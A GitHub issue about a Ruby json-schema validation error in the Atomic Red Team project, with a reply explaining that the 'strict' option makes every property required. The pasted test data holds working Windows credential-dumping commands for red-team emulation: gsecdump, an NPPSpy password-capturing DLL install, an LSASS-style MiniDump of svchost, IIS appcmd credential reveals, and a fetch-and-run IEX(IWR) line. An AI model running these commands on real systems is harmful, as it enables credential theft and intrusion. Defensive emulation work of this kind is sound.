A non-required property is causing validation failure
MSAdministrator opened this issue · comments
Hello, I have written a JSON Schema for a project and currently is failing to validate stating that property (input_arguments
) basically should be present but it is not required.
Schema
Here is the JSON Schema (in yaml):
title: Atomic Schema
description: A schema for atomics within the atomic-red-team project
type: object
properties:
attack_technique:
description: A MITRE ATT&CK Technique ID with a capital T
type: string
format: technique_id
display_name:
description: Name of the technique as defined by ATT&CK.
type: string
atomic_tests:
description: One or more Atomic tests for a technique
type: array
items:
$ref: "#/$defs/test"
minItems: 1
uniqueItems: true
$defs:
test:
type: object
required:
- name
- description
- supported_platforms
properties:
name:
type: string
description: The name of the test.
auto_generated_guid:
type: string
description: A unique test GUID
description:
type: string
description: A description about the test
supported_platforms:
type: array
description: One or more supported operating system platforms for this test
uniqueItems: true
items:
type: string
enum:
- windows
- macos
- linux
- office-365
- azure-ad
- google-workspace
- saas
- iaas
- containers
- iaas:gcp
- iaas:azure
- iaas:aws
input_arguments:
type: object
unique: true
patternProperties:
"^[a-zA-Z0-9]*$":
type: object
anyOf:
- type: object
properties:
description:
type: string
type:
type: string
enum:
- "path"
default:
type:
- string
- "null"
required:
- description
- type
- default
- type: object
properties:
description:
type: string
type:
type: string
enum:
- "url"
default:
type:
- string
- "null"
required:
- description
- type
- default
- type: object
properties:
description:
type: string
type:
type: string
enum:
- "string"
default:
type:
- string
- "null"
required:
- description
- type
- default
- type: object
properties:
description:
type: string
type:
type: string
enum:
- "integer"
default:
type:
- number
- "null"
required:
- description
- type
- default
- type: object
properties:
description:
type: string
type:
type: string
enum:
- "float"
default:
type:
- number
- "null"
required:
- description
- type
- default
dependency_executor_name:
type: string
enum:
- command_prompt
- powershell
- sh
- bash
- manual
dependencies:
type: array
unique: true
items:
type: object
properties:
description:
type: string
prereq_command:
type: string
get_prereq_command:
type: string
required:
- description
- prereq_command
- get_prereq_command
executor:
type: object
items:
anyOf:
- type: object
properties:
name:
type: string
enum:
- command_prompt
- powershell
- sh
- bash
elevation_required:
type: boolean
command:
type: string
cleanup_command:
type: string
required:
- name
- command
- type: object
properties:
name:
type: string
enum:
- manual
command:
type: string
elevation_required:
type: boolean
cleanup_command:
type: string
steps:
type: array
required:
- name
- steps
Test Data
Here is a test JSON data that should be validated against the schema (above).
attack_technique: T1003
display_name: OS Credential Dumping
atomic_tests:
- name: Gsecdump
auto_generated_guid: 96345bfc-8ae7-4b6a-80b7-223200f24ef9
description: |
Dump credentials from memory using Gsecdump.
Upon successful execution, you should see domain\username's followed by two 32 character hashes.
If you see output that says "compat: error: failed to create child process", execution was likely blocked by Anti-Virus.
You will receive only error output if you do not run this test from an elevated context (run as administrator)
If you see a message saying "The system cannot find the path specified", try using the get-prereq_commands to download and install Gsecdump first.
supported_platforms:
- windows
input_arguments:
gsecdump_exe:
description: Path to the Gsecdump executable
type: path
default: PathToAtomicsFolder\T1003\bin\gsecdump.exe
gsecdump_bin_hash:
description: File hash of the Gsecdump binary file
type: string
default: 94CAE63DCBABB71C5DD43F55FD09CAEFFDCD7628A02A112FB3CBA36698EF72BC
gsecdump_url:
description: Path to download Gsecdump binary file
type: url
default: https://web.archive.org/web/20150606043951if_/http://www.truesec.se/Upload/Sakerhet/Tools/gsecdump-v2b5.exe
dependency_executor_name: powershell
dependencies:
- description: |
Gsecdump must exist on disk at specified location (#{gsecdump_exe})
prereq_command: |
if (Test-Path #{gsecdump_exe}) {exit 0} else {exit 1}
get_prereq_command: |
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
$parentpath = Split-Path "#{gsecdump_exe}"; $binpath = "$parentpath\gsecdump-v2b5.exe"
IEX(IWR "https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/Public/Invoke-WebRequestVerifyHash.ps1" -UseBasicParsing)
if(Invoke-WebRequestVerifyHash "#{gsecdump_url}" "$binpath" #{gsecdump_bin_hash}){
Move-Item $binpath "#{gsecdump_exe}"
}
executor:
command: |
#{gsecdump_exe} -a
name: command_prompt
elevation_required: true
- name: Credential Dumping with NPPSpy
auto_generated_guid: 9e2173c0-ba26-4cdf-b0ed-8c54b27e3ad6
description: |-
Changes ProviderOrder Registry Key Parameter and creates Key for NPPSpy.
After user's logging in cleartext password is saved in C:\NPPSpy.txt.
Clean up deletes the files and reverses Registry changes.
NPPSpy Source: https://github.com/gtworek/PSBits/tree/master/PasswordStealing/NPPSpy
supported_platforms:
- windows
dependency_executor_name: powershell
dependencies:
- description: NPPSpy.dll must be available in local temp directory
prereq_command: if (Test-Path "$env:Temp\NPPSPY.dll") {exit 0} else {exit 1}
get_prereq_command: |-
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
Invoke-WebRequest -Uri https://github.com/gtworek/PSBits/raw/f221a6db08cb3b52d5f8a2a210692ea8912501bf/PasswordStealing/NPPSpy/NPPSPY.dll -OutFile "$env:Temp\NPPSPY.dll"
executor:
command: |-
Copy-Item "$env:Temp\NPPSPY.dll" -Destination "C:\Windows\System32"
$path = Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\NetworkProvider\Order" -Name PROVIDERORDER
$UpdatedValue = $Path.PROVIDERORDER + ",NPPSpy"
Set-ItemProperty -Path $Path.PSPath -Name "PROVIDERORDER" -Value $UpdatedValue
$rv = New-Item -Path HKLM:\SYSTEM\CurrentControlSet\Services\NPPSpy -ErrorAction Ignore
$rv = New-Item -Path HKLM:\SYSTEM\CurrentControlSet\Services\NPPSpy\NetworkProvider -ErrorAction Ignore
$rv = New-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\NPPSpy\NetworkProvider -Name "Class" -Value 2 -ErrorAction Ignore
$rv = New-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\NPPSpy\NetworkProvider -Name "Name" -Value NPPSpy -ErrorAction Ignore
$rv = New-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\NPPSpy\NetworkProvider -Name "ProviderPath" -PropertyType ExpandString -Value "%SystemRoot%\System32\NPPSPY.dll" -ErrorAction Ignore
echo "[!] Please, logout and log back in. Cleartext password for this account is going to be located in C:\NPPSpy.txt"
cleanup_command: |-
$cleanupPath = Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\NetworkProvider\Order" -Name PROVIDERORDER
$cleanupUpdatedValue = $cleanupPath.PROVIDERORDER
$cleanupUpdatedValue = $cleanupUpdatedValue -replace ',NPPSpy',''
Set-ItemProperty -Path $cleanupPath.PSPath -Name "PROVIDERORDER" -Value $cleanupUpdatedValue
Remove-Item -Path "HKLM:\SYSTEM\CurrentControlSet\Services\NPPSpy" -Recurse -ErrorAction Ignore
Remove-Item C:\NPPSpy.txt -ErrorAction Ignore
Remove-Item C:\Windows\System32\NPPSpy.dll -ErrorAction Ignore
name: powershell
elevation_required: true
- name: Dump svchost.exe to gather RDP credentials
auto_generated_guid: d400090a-d8ca-4be0-982e-c70598a23de9
description: |
The svchost.exe contains the RDP plain-text credentials.
Source: https://www.n00py.io/2021/05/dumping-plaintext-rdp-credentials-from-svchost-exe/
Upon successful execution, you should see the following file created $env:TEMP\svchost-exe.dmp.
supported_platforms:
- windows
executor:
command: |
$ps = (Get-NetTCPConnection -LocalPort 3389 -State Established -ErrorAction Ignore)
if($ps){$id = $ps[0].OwningProcess} else {$id = (Get-Process svchost)[0].Id }
C:\Windows\System32\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump $id $env:TEMP\svchost-exe.dmp full
cleanup_command: |
Remove-Item $env:TEMP\svchost-exe.dmp -ErrorAction Ignore
name: powershell
elevation_required: true
- name: Retrieve Microsoft IIS Service Account Credentials Using AppCmd (using list)
auto_generated_guid: 6c7a4fd3-5b0b-4b30-a93e-39411b25d889
description: |-
AppCmd.exe is a command line utility which is used for managing an IIS web server. The list command within the tool reveals the service account credentials configured for the webserver. An adversary may use these credentials for other malicious purposes.
[Reference](https://twitter.com/0gtweet/status/1588815661085917186?cxt=HHwWhIDUyaDbzYwsAAAA)
supported_platforms:
- windows
dependency_executor_name: powershell
dependencies:
- description: IIS must be installed prior to running the test
prereq_command: if ((Get-WindowsFeature Web-Server).InstallState -eq "Installed") {exit 0} else {exit 1}
get_prereq_command: |-
Install-WindowsFeature -name Web-Server -IncludeManagementTools
executor:
command: |-
C:\Windows\System32\inetsrv\appcmd.exe list apppool /@t:*
C:\Windows\System32\inetsrv\appcmd.exe list apppool /@text:*
C:\Windows\System32\inetsrv\appcmd.exe list apppool /text:*
name: powershell
elevation_required: true
- name: Retrieve Microsoft IIS Service Account Credentials Using AppCmd (using config)
auto_generated_guid: 42510244-5019-48fa-a0e5-66c3b76e6049
description: |-
AppCmd.exe is a command line utility which is used for managing an IIS web server. The config command within the tool reveals the service account credentials configured for the webserver. An adversary may use these credentials for other malicious purposes.
[Reference](https://twitter.com/0gtweet/status/1588815661085917186?cxt=HHwWhIDUyaDbzYwsAAAA)
supported_platforms:
- windows
dependency_executor_name: powershell
dependencies:
- description: IIS must be installed prior to running the test
prereq_command: if ((Get-WindowsFeature Web-Server).InstallState -eq "Installed") {exit 0} else {exit 1}
get_prereq_command: |-
Install-WindowsFeature -name Web-Server -IncludeManagementTools
executor:
command: |-
C:\Windows\System32\inetsrv\appcmd.exe list apppool /config
name: powershell
elevation_required: true
- name: Dump Credential Manager using keymgr.dll and rundll32.exe
auto_generated_guid: 84113186-ed3c-4d0d-8a3c-8980c86c1f4a
description: |-
This test executes the exported function `KRShowKeyMgr` located in `keymgr.dll` using `rundll32.exe`. It opens a window that allows to export stored Windows credentials from the credential manager to a file (`.crd` by default). The file can then be retrieved and imported on an attacker-controlled computer to list the credentials get the passwords. The only limitation is that it requires a CTRL+ALT+DELETE input from the attacker, which can be achieve multiple ways (e.g. a custom implant with remote control capabilities, enabling RDP, etc.).
Reference: https://twitter.com/0gtweet/status/1415671356239216653
supported_platforms:
- windows
executor:
command: rundll32.exe keymgr,KRShowKeyMgr
name: powershell
Error
The error received is
Attempting to validate Atomic Test ./atomics/T1003/T1003.yaml.
Error of type 'JSON::Schema::ValidationError' occurred.
The property '#/atomic_tests/1' did not contain a required property of 'input_arguments'
/Users/user/.asdf/installs/ruby/3.2.0/lib/ruby/gems/3.2.0/gems/json-schema-3.0.0/lib/json-schema/attribute.rb:18:in `validation_error': The property '#/atomic_tests/1' did not contain a required property of 'input_arguments' (JSON::Schema::ValidationError)
Code
Here is a ruby script to run the validation
#! /usr/bin/env ruby
$LOAD_PATH << "#{File.dirname(File.dirname(File.dirname(__FILE__)))}/atomic_red_team" unless $LOAD_PATH.include? "#{File.dirname(File.dirname(__FILE__))}/atomic_red_team"
require 'yaml'
require 'atomic_red_team'
require "json"
require "json-schema"
# Creating a new AtomicRedTeam Ruby object to use the generate_guids_for_yaml! method.
ATOMIC_RED_TEAM = AtomicRedTeam.new
USED_GUIDS_FILE = "#{File.dirname(File.dirname(File.dirname(__FILE__)))}/atomics/used_guids.txt"
unique_guid_array = []
schema_file = File.open("./bin/validate/atomic-red-team.schema.yaml").read
schema = YAML.load(schema_file)
# Validating that the attack_technique property is in the correct format. This is based off of the `format: technique_id` attribute in the schema.
format_proc = -> value {
raise JSON::Schema::CustomFormatError.new("Must be T1234 format.") unless value.match("T#{/[0-9]/}") or value.match("T#{/[0-9]/}\./[0-9]/")
}
# register the proc for format 'technique_id' for schema
JSON::Validator.register_format_validator("technique_id", format_proc)
Dir.glob("./atomics/T*/T*.yaml").each do |atomic_test|
puts "Attempting to validate Atomic Test #{atomic_test}."
file = File.open(atomic_test).read
yaml = YAML.load(file)
begin
JSON::Validator.validate!(schema, yaml, :strict => true, :clear_cache => true)
rescue JSON::Schema::ValidationError => e
puts "Error of type '#{e.class}' occurred."
puts "\n#{e.message}"
raise
rescue JSON::Schema::JsonParseError => e
puts e
raise
end
JSON::Validator::fully_validate(schema, yaml, :errors_as_objects => true)
puts "Successfully validated Atomic Test #{atomic_test}."
end
Any help would be appreciated!
I think it is because you are using strict
:
JSON::Validator.validate!(schema, yaml, :strict => true, :clear_cache => true)
The strict
option does two things:
- All Properties are Required
- Additional Properties are Not Permitted
Because of number 1, it will ignore what you set in the required
field. All fields are required regardless.
In the future, you might want to take advantage of this new feature in json-schema
: #494. You might want to use noAdditionalProperties
instead of strict
.